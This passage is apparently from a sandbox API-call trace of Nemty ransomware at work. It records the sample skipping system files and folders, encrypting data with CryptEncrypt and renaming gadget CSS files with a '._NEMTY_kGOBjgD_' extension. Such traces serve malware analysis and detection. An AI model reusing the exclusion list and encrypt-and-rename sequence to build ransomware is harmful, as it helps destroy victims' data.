0xffffffff [0134.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.096] CloseHandle (hObject=0xffffffff) returned 0 [0134.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0134.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0134.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0134.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0134.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0134.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0134.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0134.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0134.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css._nemty_kgobjgd_")) returned 0 [0134.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0134.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.097] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="settings.css", cAlternateFileName="")) returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="...") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="$RECYCLE.BIN") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="rsa") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="NTDETECT.COM") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="ntldr") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="MSDOS.SYS") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="IO.SYS") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="AUTOEXEC.BAT") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="desktop.ini") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="CONFIG.SYS") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="RECYCLER") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="BOOTSECT.BAK") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="programdata") returned 1 [0134.097] lstrcmpiW (lpString1="settings.css", lpString2="appdata") returned 1 [0134.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0134.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0134.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0134.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0134.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0134.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0134.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0134.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0134.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0134.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0134.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0134.098] Sleep (dwMilliseconds=0x5) [0134.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3955190, dwHighDateTime=0x1d561e8)) [0134.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3955190, dwHighDateTime=0x1d561e8)) [0134.111] GetLastError () returned 0x5 [0134.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.111] GetLastError () returned 0x5 [0134.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.111] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0134.111] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0134.111] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0134.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403c0 [0134.111] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63403c0, pcchString=0x653e5dc | out: pszString="mQ5GM2kCChGmMArbW0ecIj8Re+bvJ+sF1fDt8FC6OLmvAoTVHjVGFYF2c+0ttukV\r\n3rQoP5bl/eyER142OSDkbnOa9iAJBxirPw20wdt0MbIgxz+owiV9w79xlsLEalKe\r\nuE6TbhedabC5aAERhbJFyvSwRpizCU7rwwWzmgNvHi7aR3KGm9UfEF7Ns+0ZM6Xn\r\nzPGU8pbawzpX6093MNFQRwPDxwPgrTe2EHLwoFwzrvdXD3gpuGM+H/4T8ZuGpmuj\r\nNt81E3MMFHVp3RSvHid53rpFfZ98JQQuGWYznMrbxfGR3SI3q3DDI8v3h8UL+Pqx\r\nEKQ92brJqDz3oOQRSmwPRA==\r\n", pcchString=0x653e5dc) returned 1 [0134.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0134.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403c0 [0134.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.112] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.112] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0134.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 